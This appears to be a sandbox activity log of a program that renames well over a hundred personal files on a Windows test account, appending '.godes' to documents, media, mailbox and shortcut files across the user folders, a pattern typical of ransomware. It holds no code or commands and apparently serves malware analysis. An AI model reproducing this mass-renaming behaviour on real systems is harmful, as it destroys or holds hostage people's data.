Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_jD_3EsBV.pdf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\_jD_3EsBV.pdf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\2TTN4vHH6T.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\2TTN4vHH6T.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\3TE1MNOOt738p.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\3TE1MNOOt738p.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\7N2xpAEAZRgVp.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\7N2xpAEAZRgVp.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\BKfdC5oaIRvpZH6X7.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\BKfdC5oaIRvpZH6X7.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\ejdJB5Su3HZ_V.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\ejdJB5Su3HZ_V.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\LDJP8fU.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\LDJP8fU.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\vGLyTV3-l9LaIg.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\vGLyTV3-l9LaIg.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\WeVqD nbZp92oNA.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\WeVqD nbZp92oNA.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\wvHO9AOpGnVIgBmE4Z.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\wvHO9AOpGnVIgBmE4Z.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\xAv5C.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\xAv5C.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\y5PNwRSJ-BzEU_pWoMG7.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\y5PNwRSJ-BzEU_pWoMG7.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\zlWIzi2Amt.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\zlWIzi2Amt.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\vs4jAA0 zd1HqzIZFr.gif.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\vs4jAA0 zd1HqzIZFr.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\-8vn9TCLWYBRe.avi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\-8vn9TCLWYBRe.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\dDZIFmz5oUjH6dudt.avi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\dDZIFmz5oUjH6dudt.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\iLHPbBavnh_-fnnaZkXR.flv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\iLHPbBavnh_-fnnaZkXR.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\wxzc0rq6VHwTta.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\wxzc0rq6VHwTta.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\_6jk0hB.avi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\_6jk0hB.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\1i2rrq2gY8nQI1n1s3.jpg.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\1i2rrq2gY8nQI1n1s3.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2i1vmdTQBze3Oqp_rHR.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2i1vmdTQBze3Oqp_rHR.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2q_u.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\2q_u.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\5Ka6.jpg.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\5Ka6.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\FDSheH9RWpg6rD.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\FDSheH9RWpg6rD.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\km4Z_piC-Thg5BA.mkv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\km4Z_piC-Thg5BA.mkv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\kwu4Zgrqa-j.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\kwu4Zgrqa-j.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\L2lRvkk38ZbjI6t.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\L2lRvkk38ZbjI6t.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\m 3MWBBW.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\m 3MWBBW.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\QdsM.bmp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\QdsM.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\seA7TG2NfEjVmCk47L.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\seA7TG2NfEjVmCk47L.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\tAm2MqanHQ.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\tAm2MqanHQ.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\UFvFkY3N9hbJPN MXkkx.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\UFvFkY3N9hbJPN MXkkx.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\wYQXyL4TNJyXDwt.xls.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\wYQXyL4TNJyXDwt.xls True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\XECTs3JItZ.pps.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\XECTs3JItZ.pps True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\_vK1Qkjp_rOYPZZA.avi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\k 8cyI7PkJoZDNg M\_vK1Qkjp_rOYPZZA.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\Favorites.vss True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\cWhuivOd.ods.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\cWhuivOd.ods True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\IrPWAmnZ4jkLi8.xlsx.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\IrPWAmnZ4jkLi8.xlsx True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\nI-a EyZHIqzRrkt2.pdf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\nI-a EyZHIqzRrkt2.pdf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\oyegcKVpN.pdf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\oyegcKVpN.pdf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\qHHCf1DuRREhYQ07.ods.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\qHHCf1DuRREhYQ07.ods True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\S5Y2z-QfT_jhbg-.doc.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\S5Y2z-QfT_jhbg-.doc True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\Outlook Files\voeimd@djhreuu.uhd.pst True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Suggested Sites.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Links\Web Slice Gallery.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE Add-on site.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\IE site on Microsoft.com.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Home.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft At Work.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Microsoft Websites\Microsoft Store.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Autos.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Entertainment.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Money.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN Sports.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSN.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\MSN Websites\MSNBC News.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Get Windows Live.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Gallery.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Mail.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Favorites\Windows Live\Windows Live Spaces.url True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\0Qf-sRlRO YRMK9.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\0Qf-sRlRO YRMK9.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\6HV_cSvNUwVhwYq.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\6HV_cSvNUwVhwYq.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\953YBi3u.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\953YBi3u.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\IDiIl91AYgIq7HA6_.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\IDiIl91AYgIq7HA6_.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\PO7Eqm6 3wk.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\PO7Eqm6 3wk.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\rrjW-8lVtAyz6CB c58F.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\rrjW-8lVtAyz6CB c58F.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvM2NRbZu cHPtd OkbD.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvM2NRbZu cHPtd OkbD.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvY6pS.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\TvY6pS.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\YkQ2Zd.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\YkQ2Zd.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\ZN52hee3SS1DkjLr.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\nV -iFyrHbXVLVuM\ZN52hee3SS1DkjLr.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\benH5y2SX1xIrg0bSF.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\benH5y2SX1xIrg0bSF.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\cemw.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\cemw.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iCs-vS.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iCs-vS.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iKO7d8t_cC0UV.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iKO7d8t_cC0UV.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\IthrlB_pUrgCwH3pRgGO.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\IthrlB_pUrgCwH3pRgGO.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iWxzhwPIqb5mZjuvcv.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\iWxzhwPIqb5mZjuvcv.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\lQDTQxNwKpz.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\lQDTQxNwKpz.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\M-cTe5oTGVM6J9Ms.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\M-cTe5oTGVM6J9Ms.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\neGejl7TOddT.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\neGejl7TOddT.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\SoXdS.wav.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\SoXdS.wav True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\ttPbZm5ivBn SG4OL.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\ttPbZm5ivBn SG4OL.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\W 8TSw1xhJnpWHI.m4a.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\W 8TSw1xhJnpWHI.m4a True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\_5Qx7lEGVjKpdcq.mp3.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Music\UFF1TS\_5Qx7lEGVjKpdcq.mp3 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\0pL6.bmp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\0pL6.bmp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\gWv1KyJiGPxpOMqL3.png.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\1E-1x-bA_f\gWv1KyJiGPxpOMqL3.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\-zbo jfn3hfrTF0uU6.jpg.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\-zbo jfn3hfrTF0uU6.jpg True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\qHB6k1yx.png.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\qHB6k1yx.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\-UgYo9aAU h.avi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\-UgYo9aAU h.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\e77CID6eVsb.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\e77CID6eVsb.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\vBaKWI7Uy49TuUWs.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\vBaKWI7Uy49TuUWs.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\7zbK-lw.mkv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\7zbK-lw.mkv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\M8EaxMEcyaid.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\M8EaxMEcyaid.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\Re_R5.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\Re_R5.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\s3BE.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\s3BE.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\My Shapes\_private\folder.ico True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\4stR3pzmU2IjQjPCv2.pps.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\4stR3pzmU2IjQjPCv2.pps True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\8eSNutIhoJBu4xJsfd.odp.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\8eSNutIhoJBu4xJsfd.odp True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\9iXgtByQq.doc.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\9iXgtByQq.doc True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\bv9GJsGpfm.odt.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\bv9GJsGpfm.odt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\c1Jyfiy2PqeG94Rl8.ods.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\c1Jyfiy2PqeG94Rl8.ods True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\p-btCK5P5-k.odt.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\p-btCK5P5-k.odt True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\P7n5oLz_D.ods.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\P7n5oLz_D.ods True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\vRok2UtD99B94w3KRv.rtf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Documents\OstAGQ_x8J4h\GYsSjG-g6A Jpf\vRok2UtD99B94w3KRv.rtf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\DpUR93 xREUOdJVi.png.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\DpUR93 xREUOdJVi.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\HUu e.png.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\HUu e.png True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\nf3YcZ LLVZ7 8gtH.gif.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Pictures\X7bnh_OS\Se5hmDr0IOl8\nf3YcZ LLVZ7 8gtH.gif True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\4p5iJ0lNQ.flv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\4p5iJ0lNQ.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\LWp5__rH.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\LWp5__rH.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\nw RAVZ-b0JJW.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\nw RAVZ-b0JJW.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\S FkKZQLF_GPV0N.mp4.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\S FkKZQLF_GPV0N.mp4 True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\VkA9WpG3QP_KI.flv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\x4sMoy\9IrqcHW4ThsWoTp\VkA9WpG3QP_KI.flv True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\3e8LyOG.avi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\3e8LyOG.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\5Hyv.swf.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\5Hyv.swf True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\NHai0BU309Bkv-O-.avi.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\NHai0BU309Bkv-O-.avi True 1
Fn
Move C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\OwRMCKP7D2.mkv.godes source_filename = C:\Users\5p5NrGJn0jS HALPmcxz\Videos\y9ZmZISZtA8fIYtTxfZp\4L6Z\OwRMCKP7D2.mkv True 1
Fn
